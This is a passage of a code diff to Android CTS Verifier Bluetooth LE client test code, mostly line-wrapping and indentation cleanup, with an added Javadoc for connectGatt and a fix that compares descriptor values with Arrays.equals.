+                                    true);
                             waitForDisableNotificationCompletion();
-                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15, true);
+                            setNotification(SERVICE_UUID_ADDITIONAL, UPDATE_CHARACTERISTIC_UUID_15,
+                                    true);
                             waitForDisableNotificationCompletion();
                         }
                     });
-                break;
+                    break;
                 case BLE_CLIENT_ACTION_READ_DESCRIPTOR:
                     readDescriptor(DESCRIPTOR_UUID);
                     break;
@@ -486,7 +503,8 @@
                     readDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_READ_UUID);
                     break;
                 case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
-                    writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
+                    writeDescriptor(CHARACTERISTIC_RESULT_UUID,
+                            DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
                     break;
                 case BLE_CLIENT_ACTION_READ_PHY:
                     if (mBluetoothGatt != null) {
@@ -520,18 +538,35 @@
         mTaskQueue.quit();
     }
 
-    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context, boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
+    /**
+     * Connect to GATT Server hosted by this device. Caller acts as GATT client.
+     * The callback is used to deliver results to Caller, such as connection status as well
+     * as any further GATT client operations.
+     * The method returns a BluetoothGatt instance. You can use BluetoothGatt to conduct
+     * GATT client operations.
+     *
+     * @param callback GATT callback handler that will receive asynchronous callbacks.
+     * @param autoConnect Whether to directly connect to the remote device (false) or to
+     * automatically connect as soon as the remote device becomes available (true).
+     * @param isSecure Whether to use transport mode for secure connection (true or false)
+     * @throws IllegalArgumentException if callback is null
+     */
+    public static BluetoothGatt connectGatt(BluetoothDevice device, Context context,
+            boolean autoConnect, boolean isSecure, BluetoothGattCallback callback) {
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
             if (isSecure) {
                 if (TRANSPORT_MODE_FOR_SECURE_CONNECTION == BluetoothDevice.TRANSPORT_AUTO) {
-                    Toast.makeText(context, "connectGatt(transport=AUTO)", Toast.LENGTH_SHORT).show();
+                    Toast.makeText(context, "connectGatt(transport=AUTO)",
+                            Toast.LENGTH_SHORT).show();
                 } else {
                     Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
                 }
-                return device.connectGatt(context, autoConnect, callback, TRANSPORT_MODE_FOR_SECURE_CONNECTION);
+                return device.connectGatt(context, autoConnect, callback,
+                        TRANSPORT_MODE_FOR_SECURE_CONNECTION);
             } else {
                 Toast.makeText(context, "connectGatt(transport=LE)", Toast.LENGTH_SHORT).show();
-                return device.connectGatt(context, autoConnect, callback, BluetoothDevice.TRANSPORT_LE);
+                return device.connectGatt(context, autoConnect, callback,
+                        BluetoothDevice.TRANSPORT_LE);
             }
         } else {
             Toast.makeText(context, "connectGatt", Toast.LENGTH_SHORT).show();
@@ -566,7 +601,8 @@
         }
     }
 
-    private void writeCharacteristic(BluetoothGattCharacteristic characteristic, String writeValue) {
+    private void writeCharacteristic(BluetoothGattCharacteristic characteristic,
+            String writeValue) {
         if (characteristic != null) {
             // Note: setValue() should not be necessary when using writeCharacteristic(byte[]) which
             // is added on Android T, but here we call the method in order to make the test
@@ -580,7 +616,7 @@
 
     private void writeCharacteristic(UUID uid, String writeValue) {
         BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
-        if (characteristic != null){
+        if (characteristic != null) {
             writeCharacteristic(characteristic, writeValue);
         }
     }
@@ -665,14 +701,15 @@
         if (shouldSend) {
             // This is to send result to the connected GATT server.
             writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
-                SERVICE_CHANGED_VALUE);
+                    SERVICE_CHANGED_VALUE);
         }
     }
 
     private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
         if (characteristic != null) {
             mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
-            BluetoothGattDescriptor descriptor = characteristic.getDescriptor(UPDATE_DESCRIPTOR_UUID);
+            BluetoothGattDescriptor descriptor = characteristic.getDescriptor(
+                    UPDATE_DESCRIPTOR_UUID);
             if (enable) {
                 if (characteristic.getUuid().equals(INDICATE_CHARACTERISTIC_UUID)) {
                     descriptor.setValue(BluetoothGattDescriptor.ENABLE_INDICATION_VALUE);
@@ -686,8 +723,9 @@
         }
     }
 
-    private void setNotification(UUID serviceUid, UUID characteristicUid,  boolean enable) {
-        BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid, characteristicUid);
+    private void setNotification(UUID serviceUid, UUID characteristicUid, boolean enable) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid,
+                characteristicUid);
         if (characteristic != null) {
             setNotification(characteristic, enable);
         }
@@ -696,7 +734,7 @@
     private void setNotification(UUID uid, boolean enable) {
         BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
         if (characteristic != null) {
-           setNotification(characteristic, enable);
+            setNotification(characteristic, enable);
         }
     }
 
@@ -911,6 +949,7 @@
         }
         return characteristic;
     }
+
     private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
         BluetoothGattCharacteristic characteristic = null;
 
@@ -991,7 +1030,10 @@
         @Override
         public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
             super.onConnectionStateChange(gatt, status, newState);
-            if (DEBUG) Log.d(TAG, "onConnectionStateChange: status= " + status + ", newState= " + newState);
+            if (DEBUG) {
+                Log.d(TAG,
+                        "onConnectionStateChange: status= " + status + ", newState= " + newState);
+            }
             if (status == BluetoothGatt.GATT_SUCCESS) {
                 if (newState == BluetoothProfile.STATE_CONNECTED) {
                     mBleState = newState;
@@ -1034,10 +1076,11 @@
         @Override
         public void onServicesDiscovered(BluetoothGatt gatt, int status) {
             super.onServicesDiscovered(gatt, status);
-            if (DEBUG){
+            if (DEBUG) {
                 Log.d(TAG, "onServiceDiscovered");
             }
-            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID)
+                    != null)) {
                 notifyServicesDiscovered();
             }
         }
@@ -1045,7 +1088,7 @@
         @Override
         public void onMtuChanged(BluetoothGatt gatt, int mtu, int status) {
             super.onMtuChanged(gatt, mtu, status);
-            if (DEBUG){
+            if (DEBUG) {
                 Log.d(TAG, "onMtuChanged");
             }
             if (status == BluetoothGatt.GATT_SUCCESS) {
@@ -1072,12 +1115,14 @@
         }
 
         @Override
-        public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, final int status) {
+        public void onCharacteristicWrite(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, final int status) {
             super.onCharacteristicWrite(gatt, characteristic, status);
             String value = characteristic.getStringValue(0);
             final UUID uid = characteristic.getUuid();
             if (DEBUG) {
-                Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
+                Log.d(TAG,
+                        "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
             }
 
             if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
@@ -1106,11 +1151,14 @@
                 switch (mExecReliableWrite) {
                     case RELIABLE_WRITE_NONE:
                         if (status == BluetoothGatt.GATT_SUCCESS) {
-                            if (characteristic.getUuid().equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
+                            if (characteristic.getUuid().equals(
+                                    CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
                                 notifyCharacteristicWriteNeedEncrypted(value);
-                            } else if (!characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
+                            } else if (!characteristic.getUuid().equals(
+                                    CHARACTERISTIC_RESULT_UUID)) {
                                 // verify
-                                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+                                        characteristic.getValue())) {
                                     notifyCharacteristicWrite(value);
                                 } else {
                                     notifyError("Written data is not correct");
@@ -1118,7 +1166,8 @@
                             }
                         } else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
                             if (uid.equals(CHARACTERISTIC_NO_WRITE_UUID)) {
-                                writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.WRITE_NO_PERMISSION);
+                                writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                                        BleServerService.WRITE_NO_PERMISSION);
                                 notifyCharacteristicWriteNoPermission(value);
                             } else {
                                 notifyError("Not Permission Write: " + status + " : " + uid);
@@ -1134,7 +1183,8 @@
                         if (WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE.equals(value)) {
                             // write next data
                             mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_WRITE_2ND_DATA;
-                            writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
+                            writeCharacteristic(CHARACTERISTIC_UUID,
+                                    WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
                         } else {
                             notifyError("Failed to write characteristic: " + status + " : " + uid);
                         }
@@ -1181,7 +1231,8 @@
         }
 
         @Override
-        public void onCharacteristicRead(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {
+        public void onCharacteristicRead(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, int status) {
             super.onCharacteristicRead(gatt, characteristic, status);
             // Note: Both this method and onCharacteristicRead(byte[]) will be called.
             UUID uid = characteristic.getUuid();
@@ -1213,12 +1264,13 @@
                 }
             } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
                 if (uid.equals(CHARACTERISTIC_NO_READ_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.READ_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.READ_NO_PERMISSION);
                     notifyCharacteristicReadNoPermission();
                 } else {
                     notifyError("Not Permission Read: " + status + " : " + uid);
                 }
-            } else if(status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+            } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
                 notifyError("Not Authentication Read: " + status + " : " + uid);
             } else {
                 notifyError("Failed to read characteristic: " + status + " : " + uid);
@@ -1226,7 +1278,8 @@
         }
 
         @Override
-        public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+        public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+                int status) {
             super.onDescriptorWrite(gatt, descriptor, status);
             if (DEBUG) {
                 Log.d(TAG, "onDescriptorWrite");
@@ -1235,7 +1288,8 @@
             if ((status == BluetoothGatt.GATT_SUCCESS)) {
                 if (uid.equals(UPDATE_DESCRIPTOR_UUID)) {
                     Log.d(TAG, "write in update descriptor.");
-                    if (descriptor.getValue() == BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE) {
+                    if (Arrays.equals(descriptor.getValue(),
+                            BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE)) {
                         notifyDisableNotificationCompletion();
                     }
                 } else if (uid.equals(DESCRIPTOR_UUID)) {
@@ -1250,7 +1304,8 @@
                 }
             } else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
                 if (uid.equals(DESCRIPTOR_NO_WRITE_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
                     notifyDescriptorWriteNoPermission();
                 } else {
                     notifyError("Not Permission Write: " + status + " : " + descriptor.getUuid());
@@ -1261,7 +1316,8 @@
         }
 
         @Override
-        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+                int status) {
             super.onDescriptorRead(gatt, descriptor, status);
             // Note: Both this method and onDescriptorRead(byte[]) will be called.
             if (DEBUG) {
@@ -1292,7 +1348,8 @@
                 }
             } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
                 if (uid.equals(DESCRIPTOR_NO_READ_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
                     notifyDescriptorReadNoPermission();
                 } else {
                     notifyError("Not Permission Read: " + status + " : " + descriptor.getUuid());
@@ -1303,7 +1360,8 @@
         }
 
         @Override
-        public void onCharacteristicChanged(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic) {
+        public void onCharacteristicChanged(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic) {
             super.onCharacteristicChanged(gatt, characteristic);
             UUID uid = characteristic.getUuid();
             // Note: Both this method and onCharacteristicChanged(byte[]) will be called.
@@ -1427,10 +1485,12 @@
                                 notifyError("Failed to call create bond");
                             }
                         } else {
-                            mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+                            mBluetoothGatt = connectGatt(result.getDevice(), mContext, false,
+                                    mSecure, mGattCallbacks);
                         }
                     } else {
-                        mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+                        mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure,
+                                mGattCallbacks);
                     }
                 } else {
                     notifyError("There is no validity to Advertise servie.");
@@ -1460,7 +1520,7 @@
         builder.append("REQUEST_MTU");
         int len = length - builder.length();
         for (int i = 0; i < len; ++i) {
-            builder.append(""+(i%10));
+            builder.append("" + (i % 10));
         }
         return builder.toString();
     }
@@ -1470,17 +1530,18 @@
         public void onReceive(Context context, Intent intent) {
             if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
                 BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
-                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
+                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+                        BluetoothDevice.BOND_NONE);
                 switch (state) {
                     case BluetoothDevice.BOND_BONDED:
                         if ((mBluetoothGatt == null) &&
-                            (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+                                (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
                             if (DEBUG) {
                                 Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
-                                             + device + ", mSecure=" + mSecure);
+                                        + device + ", mSecure=" + mSecure);
                             }
                             mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
-                                                         mGattCallbacks);
+                                    mGattCallbacks);
                         }
                         break;
                     case BluetoothDevice.BOND_NONE:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index 051909d..357bb14 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -228,177 +228,184 @@
             String newAction = null;
             String actionName = null;
             long previousPassed = mPassed;
-            final Intent startIntent = new Intent(BleClientTestBaseActivity.this, BleClientService.class);
+            final Intent startIntent = new Intent(BleClientTestBaseActivity.this,
+                    BleClientService.class);
             if (action != null) {
                 Log.d(TAG, "Processing " + action);
             }
             switch (action) {
-            case BleClientService.BLE_BLUETOOTH_DISABLED:
-                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
-                break;
-            case BleClientService.BLE_BLUETOOTH_CONNECTED:
-                actionName = getString(R.string.ble_client_connect_name);
-                mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
-                mPassed |= PASS_FLAG_CONNECT;
-                // execute service discovery test
-                newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
-                break;
-            case BleClientService.BLE_SERVICES_DISCOVERED:
-                actionName = getString(R.string.ble_discover_service_name);
-                mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
-                mPassed |= PASS_FLAG_DISCOVER;
-                // execute MTU requesting test (23bytes)
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
-                break;
-            case BleClientService.BLE_MTU_CHANGED_23BYTES:
-                actionName = getString(R.string.ble_mtu_23_name);
-                mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
-                mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
-                // execute MTU requesting test (512bytes)
-                newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_MTU_CHANGED_512BYTES:
-                actionName = getString(R.string.ble_mtu_512_name);
-                mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
-                mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
-                // execute characteristic reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_READ:
-                actionName = getString(R.string.ble_read_characteristic_name);
-                mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
-                // execute characteristic writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_WRITE:
-                actionName = getString(R.string.ble_write_characteristic_name);
-                mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
-                newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
-                actionName = getString(R.string.ble_read_characteristic_nopermission_name);
-                mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
-                mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
-                // execute unpermitted characteristic writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
-                actionName = getString(R.string.ble_write_characteristic_nopermission_name);
-                mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
-                mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
-                // execute reliable write test
-                newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
-                actionName = getString(R.string.ble_reliable_write_name);
-                mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
-                mPassed |= PASS_FLAG_RELIABLE_WRITE;
+                case BleClientService.BLE_BLUETOOTH_DISABLED:
+                    showErrorDialog(R.string.ble_bluetooth_disable_title,
+                            R.string.ble_bluetooth_disable_message, true);
+                    break;
+                case BleClientService.BLE_BLUETOOTH_CONNECTED:
+                    actionName = getString(R.string.ble_client_connect_name);
+                    mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
+                    mPassed |= PASS_FLAG_CONNECT;
+                    // execute service discovery test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
+                    break;
+                case BleClientService.BLE_SERVICES_DISCOVERED:
+                    actionName = getString(R.string.ble_discover_service_name);
+                    mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
+                    mPassed |= PASS_FLAG_DISCOVER;
+                    // execute MTU requesting test (23bytes)
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
+                    break;
+                case BleClientService.BLE_MTU_CHANGED_23BYTES:
+                    actionName = getString(R.string.ble_mtu_23_name);
+                    mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
+                    mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
+                    // execute MTU requesting test (512bytes)
+                    newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_MTU_CHANGED_512BYTES:
+                    actionName = getString(R.string.ble_mtu_512_name);
+                    mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
+                    mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
+                    // execute characteristic reading test
+                    newAction =
+                            BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_READ:
+                    actionName = getString(R.string.ble_read_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
+                    // execute characteristic writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_WRITE:
+                    actionName = getString(R.string.ble_write_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
+                    actionName = getString(R.string.ble_read_characteristic_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
+                    // execute unpermitted characteristic writing test
+                    newAction =
+                            BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
+                    actionName = getString(R.string.ble_write_characteristic_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                    // execute reliable write test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
+                    actionName = getString(R.string.ble_reliable_write_name);
+                    mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
+                    mPassed |= PASS_FLAG_RELIABLE_WRITE;
 //                newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP;
 
-                // skip Reliable write (bad response) test
-                mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
-                Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
-                actionName = getString(R.string.ble_reliable_write_bad_resp_name);
-                if(!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+                    // skip Reliable write (bad response) test
                     mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
-                    mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+                    Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
+                    newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
+                    actionName = getString(R.string.ble_reliable_write_bad_resp_name);
+                    if (!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+                        mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+                        mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+                    }
+                    // execute notification test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+                    showProgressDialog = true;
                 }
-                // execute notification test
-                newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
-                showProgressDialog = true;
-            }
                 break;
-            case BleClientService.BLE_CHARACTERISTIC_CHANGED:
-                actionName = getString(R.string.ble_notify_characteristic_name);
-                mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
-                // execute indication test
-                newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_INDICATED:
-                actionName = getString(R.string.ble_indicate_characteristic_name);
-                mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
-                // execute descriptor reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_READ:
-                actionName = getString(R.string.ble_read_descriptor_name);
-                mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
-                mPassed |= PASS_FLAG_READ_DESCRIPTOR;
-                // execute descriptor writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_WRITE:
-                actionName = getString(R.string.ble_write_descriptor_name);
-                mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
-                mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
-                // execute unpermitted descriptor reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
-                actionName = getString(R.string.ble_read_descriptor_nopermission_name);
-                mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
-                mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
-                // execute unpermitted descriptor writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
-                actionName = getString(R.string.ble_write_descriptor_nopermission_name);
-                mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
-                mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
+                case BleClientService.BLE_CHARACTERISTIC_CHANGED:
+                    actionName = getString(R.string.ble_notify_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
+                    // execute indication test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_INDICATED:
+                    actionName = getString(R.string.ble_indicate_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
+                    // execute descriptor reading test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_READ:
+                    actionName = getString(R.string.ble_read_descriptor_name);
+                    mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
+                    mPassed |= PASS_FLAG_READ_DESCRIPTOR;
+                    // execute descriptor writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_WRITE:
+                    actionName = getString(R.string.ble_write_descriptor_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
+                    mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
+                    // execute unpermitted descriptor reading test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
+                    actionName = getString(R.string.ble_read_descriptor_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
+                    // execute unpermitted descriptor writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
+                    actionName = getString(R.string.ble_write_descriptor_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
